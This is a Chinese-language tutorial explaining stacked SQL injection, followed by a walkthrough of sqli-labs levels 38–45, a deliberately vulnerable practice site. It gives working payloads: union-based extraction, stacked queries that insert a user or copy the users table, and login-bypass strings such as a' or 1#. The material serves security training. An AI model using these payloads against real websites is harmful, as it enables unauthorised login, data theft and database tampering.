介绍一个新的注入方式:
堆叠注入
简介
堆叠注入。从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束,这样我们就想到了是不是可以多句一起使用,这个就叫做 stackedinjection。
原理
在SQL 中, 分号(;)是用来表示一条sql 语句的结束。试想一下我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。而 unionin jection(联合注入)也是将两条语句合并在一起, 两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的, 可以用来执行查询语句, 而堆叠注入可以执行的是任意的
局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制。且只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁
虽然我们前面提到了堆叠查询可以执行任意的sql 语句, 但是这种注入方式并不是十分的完美的。在我们的web 系统中, 因为代码通常只返回一个查询结果, 因此, 堆叠注入第二个语句产生错误或者结果只能被忽略, 我们在前端界面是无法看到返回结果的。
因此, 在读取数据时, 我们建议使用union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的, 例如表名, 列名等信息。
Less-38
第一种方法:
最普通的SQL注入,并用联合查询
放个payload:?id=1' union select 1,2,database() --+
第二种方法:
查看源码发现调用sql语句时用的是mysqli_multi_query()函数,所以此时可以使用堆叠注入,如图:
已经知道闭合方式,直接运用就可以了,payload:
?id=1';insert into users(id,username,password) values (100,'hack405','hack405')--+
然后查看下:
mysql复制表的介绍堆叠语句的选择时可以了解下
Less-39
和38是一样的,只是闭合不同,id无包裹
Less-40
同上,')闭合,并且错误不回显
Less-41
同上,无闭合,错误不回显
Less-42
这题本来以为是前面那个重置任意用户密码漏洞,可是这题无法创建用户,故猜测是登录绕过,尝试:
username=a' or 1#
password=a' or 1#
登录成功,到修改密码页面
但是要再试一下username还是password被过滤
username=a' or 1#
password=a
登录失败,下面换成password试试:
username=a
password=a' or 1#
登录成功,所以password没有经过过滤,所以在这进行构造
然后堆叠注入来进行构造,payload:a';create table hzk42 like users;insert into hzk42 select *from users; # 可以数据库里查看
Less-43
还是像上题一样,先试试:
username=a' or 1#
password=a' or 1#
返回语法错误,可以注意到应该是password的位置存在注入,且password是被括号包裹的,所以payload:
username=a
password=a') or 1#
登录成功,之后同42关一样用堆叠注入
Less-44
与42关基本一样,区别在:没有回显信息
Less-45
与42关基本一样,区别在:没有回显信息
且为 ') 闭合
友情提示:
这几关可能会使你数据库乱,可以直接在sqli-labs首页第一行重置数据库: